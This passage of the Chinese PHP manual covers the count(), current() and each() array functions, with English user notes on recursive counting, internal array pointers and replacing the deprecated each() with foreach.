            $lvl2_nb = array_map( 'count',  $array_lvl2) ;
            $max_nb = max($lvl2_nb);
         // we store the matching keys, it might be usefull
            $max_key = array_search($max_nb, $lvl2_nb);
            $max_nb_all[$max_key.'|'.$key] = $max_nb;
        }
       // now we want the max from all levels 2, so one more time
        $real_max = max($max_nb_all);
        $real_max_key = array_search($real_max, $max_nb_all);
        list($real_max_key2, $real_max_key1) = explode('|', $real_max_key);
                // preparing result
        $biggest_sub['max'] = $real_max;
        $biggest_sub['key1'] = $real_max_key1;
        $biggest_sub['key2'] = $real_max_key2;

        return $biggest_sub;
}
/*
$cat_poids_max['M']['Juniors'][] = 55;
$cat_poids_max['M']['Juniors'][] = 61;
$cat_poids_max['M']['Juniors'][] = 68;
$cat_poids_max['M']['Juniors'][] = 76;
$cat_poids_max['M']['Juniors'][] = 100;

$cat_poids_max['M']['Seniors'][] = 55;
$cat_poids_max['M']['Seniors'][] = 60;
$cat_poids_max['M']['Seniors'][] = 67;
$cat_poids_max['M']['Seniors'][] = 75;
$cat_poids_max['M']['Seniors'][] = 84;
$cat_poids_max['M']['Seniors'][] = 90;
$cat_poids_max['M']['Seniors'][] = 100;
//....
$cat_poids_max['F']['Juniors'][] = 52;
$cat_poids_max['F']['Juniors'][] = 65;
$cat_poids_max['F']['Juniors'][] = 74;
$cat_poids_max['F']['Juniors'][] = 100;

$cat_poids_max['F']['Seniors'][] = 62;
$cat_poids_max['F']['Seniors'][] = 67;
$cat_poids_max['F']['Seniors'][] = 78;
$cat_poids_max['F']['Seniors'][] = 86;
$cat_poids_max['F']['Seniors'][] = 100;
*/
$biggest_sub = how_big_is_the_biggest_sub($cat_poids_max);
echo "<li> ".$biggest_sub['key1']." ==> ".$biggest_sub['key2']." ==> ".$biggest_sub['max']; // displays : M ==> Seniors ==> 7
Anonymous 05-Oct-2019 05:52
For a Non Countable Objects

$count = count($data);
print "Count: $count\n";

Warning:  count(): Parameter must be an array or an object that implements Countable in example.php on line 159

#Quick fix is to just cast the non-countable object as an array..

$count = count((array) $data);
print "Count: $count\n";

Count: 250
lucasfsmartins at gmail dot com 07-Mar-2019 11:26
If you are on PHP 7.2+, you need to be aware of "Changelog" and use something like this:

<?php
$countFruits = is_array($countFruits) || $countFruits instanceof Countable ? count($countFruits) : 0;
?>

You can organize your code to ensure that the variable is an array, or you can extend the Countable so that you don't have to do this check.
buyatv at gmail dot com 27-Jan-2017 09:16
You can not get collect sub array count when use the key on only one sub array in an array:

$a = array("a"=>"appple", b"=>array('a'=>array(1,2,3),'b'=>array(1,2,3)));
$b = array("a"=>"appple", "b"=>array(array('a'=>array(1,2,3),'b'=>array(1,2,3)), array(1,2,3),'b'=>array(1,2,3)), array('a'=>array(1,2,3),'b'=>array(1,2,3))));

echo count($a['b']);  // 2 NOT 1, expect 1
echo count($b['b']);  // 3,   expected
buyatv at gmail dot com 26-Jan-2017 10:32
You can not get collect sub array count when there is only one sub array in an array:

$a = array ( array ('a','b','c','d'));
$b = array ( array ('a','b','c','d'), array ('e','f','g','h'));

echo count($a);  // 4 NOT 1, expect 1
echo count($b);  // 2,   expected
php_count at cubmd dot com 22-Nov-2016 03:12
All the previous recursive count solutions with $depth option would not avoid infinite loops in case the array contains itself more than once.
Here's a working solution:

<?php
    /**
     * Recursively count elements in an array. Behaves exactly the same as native
     * count() function with the $depth option. Meaning it will also add +1 to the
     * total count, for the parent element, and not only counting its children.
     * @param $arr
     * @param int $depth
     * @param int $i (internal)
     * @return int
     */
    public static function countRecursive(&$arr, $depth = 0, $i = 0) {
        $i++;
        /**
         * In case the depth is 0, use the native count function
         */
        if (empty($depth)) {
            return count($arr, COUNT_RECURSIVE);
        }
        $count = 0;
        /**
         * This can occur only the first time when the method is called and $arr is not an array
         */
        if (!is_array($arr)) {
            return count($arr);
        }

        // if this key is present, it means you already walked this array
        if (isset($arr['__been_here'])) {
            return 0;
        }

        $arr['__been_here'] = true;

        foreach ($arr as $key => &$value) {
            if ($key !== '__been_here') {
                if (is_array($value) && $depth > $i) {
                    $count += self::countRecursive($value, $depth, $i);
                }

                $count++;
            }
        }

        // you need to unset it when done because you're working with a reference...
        unset($arr['__been_here']);
        return $count;
    }
?>
ThisIsNotImportant 17-Dec-2015 03:10
About 2d arrays, you have many way to count elements :

<?php
$MyArray = array ( array(1,2,3),
                   1,
                   'a',
                   array('a','b','c','d') );

// All elements
echo count($MyArray ,COUNT_RECURSIVE);  // output 11 (9 values + 2 arrays)

// First level elements
echo count($MyArray );                  // output 4 (2 values+ 2 arrays)

// Both level values, but only values
echo(array_sum(array_map('count',$MyArray ))); //output 9 (9 values)

// Only second level values
echo (count($MyArray ,COUNT_RECURSIVE)-count($MyArray )); //output 7 ((all elements) - (first elements))
?>
pied-pierre 04-Jun-2015 05:27
A function of one line to find the number of elements that are not arrays, recursively :

function count_elt($array, &$count=0){
  foreach($array as $v) if(is_array($v)) count_elt($v,$count); else ++$count;
  return $count;
}
JumpIfBelow 05-May-2015 02:18
As I see in many codes, don't use count to iterate through array.
Onlyranga says you could declare a variable to store it before the for loop.
I agree with his/her approach, using count in the test should be used ONLY if you have to count the size of the array for each loop.

You can do it in the for loop too, so you don't have to "search" where the variable is set.
e.g.
<?php
    $array = [1, 5, 'element'];
    for($i = 0, $c = count($array); $i < $c; $i++)
        var_dump($array[$i]);
?>
onlyranga at gmail dot com 28-Apr-2014 02:14
[Editor's note: array at from dot pl had pointed out that count() is a cheap operation; however, there's still the function call overhead.]

If you want to run through large arrays don't use count() function in the loops , its a over head in performance,  copy the count() value into a variable and use that value in loops for a better performance.

Eg:

// Bad approach

for($i=0;$i<count($some_arr);$i++)
{
    // calculations
}

// Good approach

$arr_length = count($some_arr);
for($i=0;$i<$arr_length;$i++)
{
    // calculations
}
Gerd Christian Kunze 11-Dec-2013 12:56
Get maxWidth and maxHeight of a two dimensional array..?

Note:
1st dimension = Y (height)
2nd dimension = X (width)
e.g. rows and cols in database result arrays

<?php
$TwoDimensionalArray = array( 0 => array( 'key' => 'value', ...), ... );
?>

So for Y (maxHeight)
<?php
$maxHeight = count( $TwoDimensionalArray )
?>

And for X (maxWidth)
<?php
$maxWidth = max( array_map( 'count',  $TwoDimensionalArray ) );
?>

Simple? ;-)
danny at dannymendel dot com 13-Jun-2007 01:14
I actually find the following function more useful when it comes to multidimension arrays when you do not want all levels of the array tree.

// $limit is set to the number of recursions
<?php
function count_recursive ($array, $limit) {
    $count = 0;
    foreach ($array as $id => $_array) {
        if (is_array ($_array) && $limit > 0) {
            $count += count_recursive ($_array, $limit - 1);
        } else {
            $count += 1;
        }
    }
    return $count;
}
?>
alexandr at vladykin dot pp dot ru 08-Nov-2006 04:28
My function returns the number of elements in array for multidimensional arrays subject to depth of array. (Almost COUNT_RECURSIVE, but you can point on which depth you want to plunge).

<?php
  function getArrCount ($arr, $depth=1) {
      if (!is_array($arr) || !$depth) return 0;

     $res=count($arr);

      foreach ($arr as $in_ar)
         $res+=getArrCount($in_ar, $depth-1);

      return $res;
  }
?>


返回数组中的当前值

  • ? count
  • each ?
  • PHP Manual
  • 数组 函数
  • 返回数组中的当前值

current

(PHP 4, PHP 5, PHP 7, PHP 8)

current — 返回数组中的当前值

说明

current(array|object $array): mixed

每个数组中都有一个内部的指针指向它"当前的"单元，初始化时会指向该数组中的第一个值。

参数

array

要操作的数组。

返回值

current() 函数返回当前被内部指针指向的数组单元的值，并不移动指针。如果内部指针指向超出了单元列表的末端，current() 将返回 false。

Warning

此函数可能返回布尔值 false，但也可能返回等同于 false 的非布尔值。请阅读 布尔类型章节以获取更多信息。应使用 === 运算符来测试此函数的返回值。

更新日志

版本 | 说明
8.1.0 | 弃用在 object 上调用此函数。 要么首先使用 get_mangled_object_vars() 将 object 转换为 array，要么使用实现 Iterator 的类提供的方法，例如 ArrayIterator。
7.4.0 | SPL 类的实例现在被视为没有属性的空对象，而不是调用与此函数同名的 Iterator 方法。

示例

Example #1 current() 函数使用示例

<?php
$transport = array('foot', 'bike', 'car', 'plane');
$mode = current($transport); // $mode = 'foot';
$mode = next($transport); // $mode = 'bike';
$mode = current($transport); // $mode = 'bike';
$mode = prev($transport); // $mode = 'foot';
$mode = end($transport); // $mode = 'plane';
$mode = current($transport); // $mode = 'plane';

$arr = array();
var_dump(current($arr)); // bool(false)

$arr = array(array());
var_dump(current($arr)); // array(0) { }
?>

注释

Note: 在一个空数组上使用 current() 函数，和在一个内部指针指向单元末端以外的数组上使用此函数，结果是相同的，同样都会返回 bool false。如果希望正确遍历一个包含 false 的数组，请参阅 foreach 控制结构。 如果仍然希望使用 current() 来判断数组单元真实的值，应该同时使用 key() 和 current() 来检查当前元素是否为 null。

参见

  • end() - 将数组的内部指针指向最后一个单元
  • key() - 从关联数组中取得键名
  • each() - 返回数组中当前的键／值对并将数组指针向前移动一步
  • prev() - 将数组的内部指针倒回一位
  • reset() - 将数组的内部指针指向第一个单元
  • next() - 将数组中的内部指针向前移动一位
  • foreach

User Contributed Notes

sergey dot karavay at gmail dot com 19-Oct-2021 10:45
It looks like `current()` is deprectated for calling on objects since PHP 7.4.

Consider this code

```
$a = new ArrayIterator([1,2,3]);

var_dump(current($a), $a->current());
```

It returns
```
int(1)
int(1)
```

In PHP 7.3, but in PHP7.4 you get:
```
bool(false)
int(1)
```

And in PHP8:
```
Deprecated: current(): Calling current() on an object is deprecated in /in/fdrNR on line 5
bool(false)
int(1)
```
leozmm at outlook dot com 24-Sep-2019 08:02
Array can be passed by both REFERENCE and EXPRESSION on `current`, because current doesn't move array's internal pointer,
this is not true for other functions like: `end`, `next`, `prev` etc.

<?php
    function foo() {return array(1,2,3);}
    echo current(foo());  // this print '1'
    echo end(foo());      // this print error: Only variables should be passed by reference
?>
xedin dot unknown at gmail dot com 10-Jul-2018 01:28
Array functions, such as `current()` and `rewind()` will work on `Traversable` as well, PHP 5.0 - 7.3, but not in HHVM:

<?php

$queue = new ArrayIterator(array('adasdasd'));
reset($queue);
$current = current($queue);
var_dump($current);

?>

See https://3v4l.org/VjCHR
pdarmis at gmail dot com 06-Aug-2017 06:22
Based on this example http://php.net/manual/en/function.current.php#116128 i would like to add the following.  As Vasily points out in his example
<?php
$prices = array(
    0 => '1300990',
    1 => '500',
    2 => '600'
);
foreach($prices as $key => $price){
    if($price < 1000){
        unset($prices[$key]);
    }
}

var_dump(current($prices)); // bool(false)
?>
The above example will not work and return false for version of PHP between 5.2.4 and 5.6.29. The issue is not present on PHP versions >= 7.0.1
A different workaround (at least from Vasily's example) would be to use reset() before using current() in order to reset the array pointer to start.
<?php
$prices = array(
    0 => '1300990',
    1 => '500',
    2 => '600'
);
foreach($prices as $key => $price){
    if($price < 1000){
        unset($prices[$key]);
    }
}
reset($prices);
var_dump(current($prices)); // string(7) "1300990"
?>
jodevweb at gmail dot com 16-Sep-2016 02:50
As Sergey stated a long time ago in this notes, when adding to the array using the brackets syntax, current won't return the last added value. Instead of moving the pointer with end(), you simply can get the last value with <?php $my_array[count($my_array) - 1] ?> (only applies to a non-associative array).
Vasily Yudin (st-2 at mail dot ru) 12-Nov-2014 08:51
If you do current() after using uset() on foreach statement, you can get FALSE in PHP version 5.2.4 and above.
There is example:
<?php
$prices = array(
    0 => '1300990',
    1 => '500',
    2 => '600'
);
foreach($prices as $key => $price){
    if($price < 1000){
        unset($prices[$key]);
    }
}

var_dump(current($prices)); // bool(false)
?>
If you do unset() without foreach? all will be fine.
<?php
$prices = array(
    0 => '1300990',
    1 => '500',
    2 => '600'
);
unset($prices[1]);
unset($prices[2]);

var_dump(current($prices));
?>
Pratip Ghosh 14-May-2014 05:55
If we unset any element from an array, and then try the current function, I noted it returned FALSE. To overcome this limitation, you can use array_values function to re-order the tree.
strate at yandex dot com 30-Oct-2013 07:11
Note, that you can pass array by expression, not only by reference (as described in doc).

<?php
var_dump( current( array(1,2,3) ) ); // (int) 1
?>
michael at squiloople dot com 10-Jan-2012 07:44
current() also works on objects:

<?php

  echo current((object) array('one', 'two')); // Outputs: one

?>
aefxx 15-May-2008 08:39
A simple copy function that not only copies the given array but ensures the copy's pointer is set to the exact same position:

<?php
function array_copy(&array)
{
    $key = key($array);
    $copy = $array;

    while (($copy_key = key($copy)) !== NULL) {
        if ($copy_key == $key) break;
        next($copy);
    }

    return $copy;
}
?>

That's all ... bye.
gregory at gregory dot net 27-Feb-2008 09:07
It took me a while to figure this out, but there is a more consistent way to figure out whether you really went past the end of the array, than using each().

You see, each() gets the value BEFORE advancing the pointer, and next() gets the value AFTER advancing the pointer. When you are implementing the Iterator interface, therefore, it's a real pain in the behind to use each().

And thus, I give you the solution:
To see if you've blown past the end of the array, use key($array) and see if it returns NULL. If it does, you're past the end of the array -- keys can't be null in arrays.

Nifty, huh? Here's how I implemented the Iterator interface in one of my classes:

<?php

/**
 * DbRow file
 * @package PalDb
 */

/**
 * This class lets you use Db rows and object-relational mapping functionality.
 */

class DbRow implements Iterator
{
    /**
     * The DbResult object that gave us this row through fetchDbRows
     * @var DbResult
     */
    protected $result;

    /**
     * The fields of the row
     * @var $fields
     */
    protected $fields;

    /**
     * Constructor
     *
     * @param PDOStatement $stmt
     *  The PDO statement object that this result uses
     * @param DbResult $result
     *  The result that produced this row through fetchDbRows
     */
    function __construct($result)
    {
        $this->result = $result;
    }

    /**
     * Get the DbResult object that gave us this row through fetchDbRows
     * @return DbResult
     *
     * @return unknown
     */
    function getResult()
    {
        return $this->result;
    }

    function __set(
        $name,
        $value)
    {
        $this->fields[$name] = $value;
    }

    function __get(
        $name)
    {
        if (isset($this->fields[$name]))
            return $this->fields[$name];
        else
            return null;
    }

    /**
     * Iterator implementation - rewind
     */
    function rewind()
    {
        $this->beyondLastField = false;
        return reset($this->fields);
    }

    function valid()
    {
        return !$this->beyondLastField;
    }

    function current()
    {
        return current($this->fields);
    }

    function key()
    {
        return key($this->fields);
    }

    function next()
    {
        $next = next($this->fields);
        $key = key($this->fields);
        if (isset($key)) {
            return $next[1];
        } else {
            $this->beyondLastField = true;
            return false; // doesn't matter what we return here, see valid()
        }
    }

    private $beyondLastField = false;
};

Hope this helps someone.
vaclav dot sir at gmail dot com 13-Aug-2007 09:23
To that "note": You won't be able to distinguish the end of an array from a boolean FALSE element, BUT you can distinguish the end from a NULL value of the key() function.

Example:
<?php
if (key($array) === null) {
    echo "You are in the end of the array.";
} else {
    echo "Current element: " . current($array);
}
?>
mdeng at kabenresearch dot com 23-Apr-2004 11:04
For large array(my sample was 80000+ elements), if you want to traverse the array in sequence, using array index $a[$i] could be very inefficient(very slow). I had to switch to use current($a).
vitalib at 012 dot net dot il 02-Dec-2003 02:10
Note that by copying an array its internal pointer is lost:

<?php
$myarray = array(0=>'a', 1=>'b', 2=>'c');
next($myarray);
print_r(current($myarray));
echo '<br>';
$a = $myarray;
print_r(current($a));
?>

Would output 'b' and then 'a' since the internal pointer wasn't copied. You can cope with that problem using references instead, like that:

<?php
$a =& $myarray;
?>
retestro_REMOVE at SPAM_esperanto dot org dot il 01-Mar-2003 06:31
The docs do not specify this, but adding to the array using the brackets syntax:
     <?php $my_array[] = $new_value; ?>
will not advance the internal pointer of the array. therefore, you cannot use current() to get the last value added or key() to get the key of the most recently added element.

You should do an end($my_array) to advance the internal pointer to the end ( as stated in one of the notes on end() ), then

    <?php
     $last_key = key($my_array);  // will return the key
     $last_value = current($my_array);  // will return the value
    ?>

If you have no need in the key, $last_value = end($my_array) will also do the job.

- Sergey.


返回数组中当前的键／值对并将数组指针向前移动一步

  • ? current
  • end ?
  • PHP Manual
  • 数组 函数
  • 返回数组中当前的键／值对并将数组指针向前移动一步

each

(PHP 4, PHP 5, PHP 7)

each — 返回数组中当前的键／值对并将数组指针向前移动一步

Warning

本函数已自 PHP 7.2.0 起被废弃，并自 PHP 8.0.0 起被移除。 强烈建议不要依赖本函数。

说明

each(array|object &$array): array

返回数组中当前的键／值对并将数组指针向前移动一步

在执行 each() 之后，数组指针将停留在数组中的下一个单元或者当碰到数组结尾时停留在最后一个单元。如果要再用 each 遍历数组，必须使用 reset()。

参数

array

输入的数组。

返回值

返回 array 数组中当前指针位置的键／值对并向前移动数组指针。键值对被返回为四个单元的数组，键名为0，1，key和 value。单元 0 和 key 包含有数组单元的键名，1 和 value 包含有数据。

如果内部指针越过了数组的末端，则 each() 返回 false。

示例

Example #1 each() 例子

<?php
$foo = array("bob", "fred", "jussi", "jouni", "egon", "marliese");
$bar = each($foo);
print_r($bar);
?>

$bar 现在包含有如下的键／值对：

Array
(
    [1] => bob
    [value] => bob
    [0] => 0
    [key] => 0
)

<?php
$foo = array("Robert" => "Bob", "Seppo" => "Sepi");
$bar = each($foo);
print_r($bar);
?>

$bar 现在包含有如下的键／值对：

Array
(
    [1] => Bob
    [value] => Bob
    [0] => Robert
    [key] => Robert
)

each() 经常和 list() 结合使用来遍历数组，例如：

Example #2 用 each() 遍历数组

<?php
$fruit = array('a' => 'apple', 'b' => 'banana', 'c' => 'cranberry');

reset($fruit);
while (list($key, $val) = each($fruit)) {
echo "$key => $val\n";
}
?>

以上示例会输出：

a => apple
b => banana
c => cranberry

Caution

因为将一个数组赋值给另一个数组时会重置原来的数组指针，因此在上边的例子中如果我们在循环内部将 $fruit 赋给了另一个变量的话将会导致无限循环。

Warning

each() 也接受对象，但可能会返回意外结果。因此不建议使用 each() 遍历对象属性。

参见

  • key() - 从关联数组中取得键名
  • list() - 把数组中的值赋给一组变量
  • current() - 返回数组中的当前值
  • reset() - 将数组的内部指针指向第一个单元
  • next() - 将数组中的内部指针向前移动一位
  • prev() - 将数组的内部指针倒回一位
  • foreach
  • 遍历对象

User Contributed Notes

janhsh 08-Nov-2022 01:46
Following the obsolescence of the each() function, here is a way to correct your source codes:

If you use each() in a while loop like this:

   while (list($Key,$Value)=@each($Array)){
   ....
   }

you have to replace with

    foreach ($Array  as $Key => $Value){
    ....
    }

In the same minds.

   while (list(,$Value)=@each($Array)){
   ....
   }

will become

    foreach ($Array  as $Value){
    ....
    }
dmikam 13-May-2021 10:58
This function is marked as deprecated in PHP 7.2.0 and is removed in PHP 8.0.0, the replacement for legacy code would look like this:

function legacy_each($array){
    $key = key($array);
    $value = current($array);
    $each = is_null($key) ? false : [
        1        => $value,
        'value'    => $value,
        0        => $key,
        'key'    => $key,
    ];
    next($array);
    return $each;
}
man13or at hotmail dot fr 03-Feb-2020 07:49
Hello, since each() and list() often "betray" very old applications, I simply recommend not to use them anymore.

If you want to assign variables based on an associative array,
Replace this:

while(list ($key, $value) = each ($my_array)) {
    $$key = $value;
}

with this:

foreach ($my_array as $key => $value) {
    $$key = $value;
}
Henk Poley 30-Aug-2019 07:30
Rector has an automated fix ('ListEachRector') to migrate away from `each()`:

https://github.com/rectorphp/rector/blob/master/docs/AllRectorsOverview.md#listeachrector

If you look at the code example you'll see this is even quite simple to do by hand.
phpcoder at gmail dot com 25-Jun-2019 09:36
each was deprecated because it exposed too much of the internal implementation details, blocking language development. ("We can't do X because it would break each().")

https://wiki.php.net/rfc/deprecations_php_7_2#each

If you want an array pointer, maintain it yourself. Probably a good idea anyway, because then it's visible in the code.
Anonymous 04-Aug-2018 01:12
An odd function to deprecate. If you're keeping track of an array pointer in a collection outside a foreach loop you don't care about performance and the utility of this function is core.

Instead you must call two functions: current() and then next() to replicate its behaviour.
13975001197 at 163 dot com 08-Apr-2018 03:58
In PHP 7.2 we can use foreach() to replace each(), such as:

foreach($array as $key => $value) {
    //do something
}
janhsh at tiscalinet dot be 24-Sep-2017 01:57
The following example is invalid in PHP 7 :

<?php
$fruit = array('a' => 'apple', 'b' => 'banana', 'c' => 'cranberry');

reset($fruit);
while (list($key, $val) = each($fruit)) {
    echo "$key => $val\n";
}
?>

The correct writing is
<?php
$fruit = array('a' => 'apple', 'b' => 'banana', 'c' => 'cranberry');

reset($fruit);
while ($Item= each($fruit)) {
    $key=$Item[0];
    $val=$Item[1];
    echo "$key => $val\n";
}
?>

This is because the "list ()" command on the left no longer works in PHP 7 and there is no replacement command.
Which is very deplorable because this command was strongly used and allowed in a simple way to assign variables from array.
ayyappan dot ashok at gmail dot com 18-Apr-2016 09:21
/* Iterating using objects via each */

class SAI
{
   public function __toString()
   {
          return __CLASS__;
   }
}
$a = new SAI();
$b = new SAI();
$c = new SAI();
$d = new SAI();
$e = new SAI();

$objarray = array($a,$b,$c,$d,$e);
reset($objarray);
while (list($key, $val) = each($objarray))
{
    echo "$key => $val\n";
}
//Results
0 => SAI
1 => SAI
2 => SAI
3 => SAI
4 => SAI

Warning:
each() will also accept objects, but may return unexpected results. It's therefore not recommended to iterate though object properties with each().
nino dot skopac at gmail dot com 02-Jul-2015 01:30
<?php
function each_v2($arr) {
    // same as each() but when it hits end of array, it resets it
    static $i = 0;

    if (isset($arr[$i])) {
        // exists?
        return $arr[$i++];
    } else {
        // reset $i to 0 and repeat
        $i = 0;
        return each_v2($arr);
    }
}
?>
gaviel 18-Mar-2011 03:53
Ok Here's one for iterating multidimensional array .. using foreach

    <?php
        $members = array(
                            "member1" => array (
                                                "First Name" => "Robert",
                                                "Last Name" => "Burton",
                                                "Age" => "20"
                                                ),
                            "member2" => array (
                                                "First Name" => "Cheska",
                                                "Last Name" => "Vladesk",
                                                "Age" => "21"
                                                ),
                            "member3" => array (
                                                "First Name" => "Gino",
                                                "Last Name" => "Marley",
                                                "Age" => "19"
                                                ),
                            "member4" => array (
                                                "First Name" => "Jake",
                                                "Last Name" => "White",
                                                "Age" => "16"
                                                ),
                            );
        $dataSetCount = count($members);
        echo "<h1>There are $dataSetCount members</h1>";

        $i = 0;
        foreach ($members as $each_members) {
            $i++;
            echo "<h2>Member $i</h2>";
                foreach ($each_members as $position => $details) {
                    echo "<b>$position</b>" . ": " . $details . "<br />";
                }
            }
    ?>
massimo dot modica at tin dot it 03-Feb-2010 02:36
If you forget to reset the array before each(), the same code may give different results with different php versions.

<?php

$a = array(1,2,3);

foreach ($a AS $k => $v) $a[$k] = 2*$v;

while(list($k2, $v2) = each($a)) { echo($v2."\n"); }

?>

In PHP 5.2.0:

2
4
6

In PHP 5.2.6:

4
6
php at omit dot ianco dot co dot uk 13-Apr-2008 06:10
I wanted to be able to add to an array while looping through it. foreach does not allow this because it is using a secret copy of the array. each makes this possible (tested on PHP 4).
<?php
$shopping_list = array('oysters', 'caviare');
reset ($shopping_list);
while (list($key, $value) = each ($shopping_list)) {
    if ($value == 'oysters') $shopping_list[] = 'champagne';
    elseif ($value == 'champagne') $shopping_list[] = 'ice';
}
print_r($shopping_list);
// Array ( [0] => oysters [1] => caviare [2] => champagne [3] => ice )
?>
wolfeym38 at yahoo dot com 11-Jun-2007 11:28
Regarding speed of foreach vs while(list) =each
I wrote a benchmark script and the results are that clearly foreach is faster. MUCH faster. Even with huge arrays (especially with huge arrays). I tested with sizes 100,000. 1,000,000 and 10,000,000. To do the test with 10 million i had to set my memory limit real high, it was close to 1gb by the time it actually worked. Anyways,

<?php
function getDiff($start, $end) {
    $s = explode(' ', $start);
    $stot = $s[1] + $s[0];
    $e = explode(' ', $end);
    $etot = $e[1] + $e[0];
    return $etot - $stot;
}

$lim=10000000;
$arr = array();
for ($i=0; $i<$lim; $i++) {
    $arr[$i] = $i/2;
}

$start = microtime();
foreach ($arr as $key=>$val);

$end = microtime();
echo "time for foreach = " . getDiff($start, $end) . ".\n";

reset($arr);
$start = microtime();
while (list($key, $val) = each($arr));
$end = microtime();
echo "time list each = " . getDiff($start, $end) . ".\n";
?>

here are some of my results: with 1,000,000
time for foreach = 0.0244591236115.
time list each = 0.158002853394.
desktop:/media/sda5/mpwolfe/tests$ php test.php
time for foreach = 0.0245339870453.
time list each = 0.154260158539.
desktop:/media/sda5/mpwolfe/tests$ php test.php
time for foreach = 0.0269000530243.
time list each = 0.157305955887.

then with 10,000,000:
desktop:/media/sda5/mpwolfe/tests$ php test.php
time for foreach = 1.96586894989.
time list each = 14.1371650696.
desktop:/media/sda5/mpwolfe/tests$ php test.php
time for foreach = 2.02504014969.
time list each = 13.7696218491.
desktop:/media/sda5/mpwolfe/tests$ php test.php
time for foreach = 2.0246758461.
time list each = 13.8425710201.

by the way, these results are with php 5.2 i believe, and a linux machine with 3gb of ram and 2.8ghz dual core pentium
michael k (name der redaktion bekannt.) 10-May-2007 12:36
If you want to iterate over a two-dimensional, sparse array, and want to  first display every first element, then every second and so on, you can use this code:

 $fruits = array ( "fruits"  => array ( "a" => "orange",
                                      "b" => "banana",
                                      "c" => "apple"
                                    ),
                 "numbers" => array ( 1,
                                      2,
                                      3,
                                      4,
                                      5,
                                      6
                                    ),
                 "holes"   => array (      "first",
                                      5 => "second",
                                           "third",
                                     10 => "fourth",
                                    )
               );

$done = False;
while ($done == False) {
       $done = True;

       // Important: &$val has to be a reference (use the &),
       // if you don't, the internal counter of $val will be
       // re-initialized each time and you loop over the first elements
       // for eternity.

       foreach($fruits as $key => &$val) {

               if (list($inner_key, $inner_val) = each(&$val)) {
                       $done = False;
                       echo "$key : : $inner_key => $inner_val  <br>  \n";
               }

       }
}

NOTE: this is just a quick hack, if you know a better way, post it!
sjoerd-php at linuxonly dot nl 31-Mar-2006 06:04
Use foreach instead of while, list and each. Foreach is:
- easier to read
- faster
- not influenced by the array pointer, so it does not need reset().

It works like this:
<?php
$arr = array('foo', 'bar');
foreach ($arr as $value) {
    echo "The value is $value.";
}

$arr = array('key' => 'value', 'foo' => 'bar');
foreach ($arr as $key => $value) {
    echo "Key: $key, value: $value";
}
?>
matthew at mhalls dot net 04-Dec-2005 03:58
To panania at 3ringwebs dot com:

If you know for certain that you are only receiving one row, the while becomes redundant. To shorten your code:

$strSQL = "SELECT * FROM table WHERE id=1";
$RecordsetSelect = $db->runQuery ($strSQL);
list($key, $val) = mysql_fetch_row($RecordsetSelect);
echo "$key => $val\n";
mysql_free_result($RecordsetSelect);

With only one row being returned this is more elegant a solution, but just being nit-picky in essence. It also shows another quick way of using list.
amby2 at izh dot com 24-Nov-2005 09:55
I've found a compact way to cycle through an associative array using for statement (not while, as it has been done in the most of examples below):

<?php

for (reset($array); list($key) = each($array);) {
  echo $key;
  echo $array[$key];
}

?>

or

<?php

for (reset($array); list($key, $value) = each($array);) {
  echo $key;
  echo $value;
  echo $array[$key];
}

?>

You hardly forget to add reset($array) code line using such construction.
Sopinon 23-Jul-2005 05:17
If you want to display the hole structure (tree) of your array, then you can use this recursive solution.

<?PHP
$tree= "";
array_tree($your_array);
echo $tree;

// Recursive Function
function array_tree($array, $index=0){
    global $tree;
    $space="";
    for ($i=0;$i<$index;$i++){
        $space .= "     ";
    }
    if(gettype($array)=="array"){
        $index++;
        while (list ($x, $tmp) = each ($array)){
            $tree .= $space."$x => $tmp\n";
            array_tree($tmp, $index);
        }
    }
}
?>
james at gogo dot co dot nz 02-Nov-2004 07:29
It's worth noting that references to an array don't have thier own array pointer, and taking a reference to an array doesn't reset it's array pointer, so this works as you would expect it would by eaching the first three items of the array, rather than the first item 3 times.

<?php
  $x = array(1,2,3);

  print_r(each($x));
  echo "\n";

  $y =& $x;
  print_r(each($y));
  echo "\n";

  $z =& $y;
  print_r(each($z));
  echo "\n";
?>
wodzuY2k at anronet dot pl 04-Aug-2002 12:41
This function will help you dump any variable into XML structure.

        //dump var into simple XML structure
        function var_dump_xml($tagname,$variable,$level=0)
         {
            for($i=0;$i<$level;$i++) $marg.=' ';
            if (eregi('^[0-9].*$',$tagname)) $tagname='tag_'.$tagname; //XML tag cannot start with [0-9] character
            if (is_array($variable))
             {
                echo $marg."<$tagname>\n";
                while (list ($key, $val) = each ($variable))  var_dump_xml($key,$val,$level+1);
                echo $marg."</$tagname>\n";
             }
            elseif (strlen($variable)>0)
             {
                 echo $marg."<$tagname>".htmlspecialchars($variable)."</$tagname>\n";
             };
         };

        /*
        example:

        $myVar = array("name"=>"Joe", "age"=>"26", "children"=>array("Ann","Michael"));
        var_dump_xml("myVarTag",$myVar);
        */
Gillis at dancrea dot com 26-May-2002 10:13
I wrote a short and pretty simple script to search through associative arrays for some value in the values, heres a simplifyed example of it:

<?php

$foo['bob'] = "bob is ugly";
$foo['bill'] = "bill is rich";
$foo['barbie'] = "barbie is cute";
$search = "rich";

echo "searching the array foo for $search:<br>";
reset ($foo);
while (list ($key, $val) = each ($foo)) {
if (preg_match ("/$search/i", $val)) {
    print "A match was found in $key.<br />";
} else {
    print "A match was not found in $key.<br />";
}
}

?>

will output:
Searching the array foo for rich:
A match was not found in bob
A match was found in bill
A match was not found in barbie
13-Feb-2002 04:10
I usually work a lot with 2D arrays. Since I've had some trouble traversing them correctly maybe someone out there also experienced those problems and can use this one.

It's based on a 2D-array called $array[$x][$y]. At some (but not necessarily all) (x,y) there is a value I want to reach. Note that I do not know beforehand the ranges of $x or $y (that is their highest and lowest values).

while (list ($x, $tmp) = each ($array)) {
   while (list ($y, $val) = each ($tmp)) {
      echo "$x, $y, $val";
   }
}

The answer for each (x,y) pair can thus be (providng, of course those values where in your array beforehand):

1, 1, 2
2, 2, 0
3, 1, 1
5, 2, 2
5, 1, 2

Note that only the (x,y) pairs with a corresponding value is shown.

Hang in there
Jon Egil Strand
NTNU
tk at turtle-entertainment dot de 29-Jan-2001 11:33
Be sure to use the integrated functions "unset();" or "reset();" - many people forget this and wonder about the created output!
kris at angelanthony dot com 25-Oct-2000 01:03
Remember to use "reset()" if you iterate over an array with "each()" more than once!  Example:

while(list($key,$value) = each($array)){
 // code here
}

NOW the internal pointer on $array is at the end of the array, and another attempt at an iteration like the one above will result in zero executions of the code within the "while" block.  You MUST call "reset($array)" to reset the internal array pointer before iterating over the array again from the first element.


将数组的内部指针指向最后一个单元

  • ? each
  • extract ?
  • PHP Manual
  • 数组 函数
  • 将数组的内部指针指向最后一个单元

end

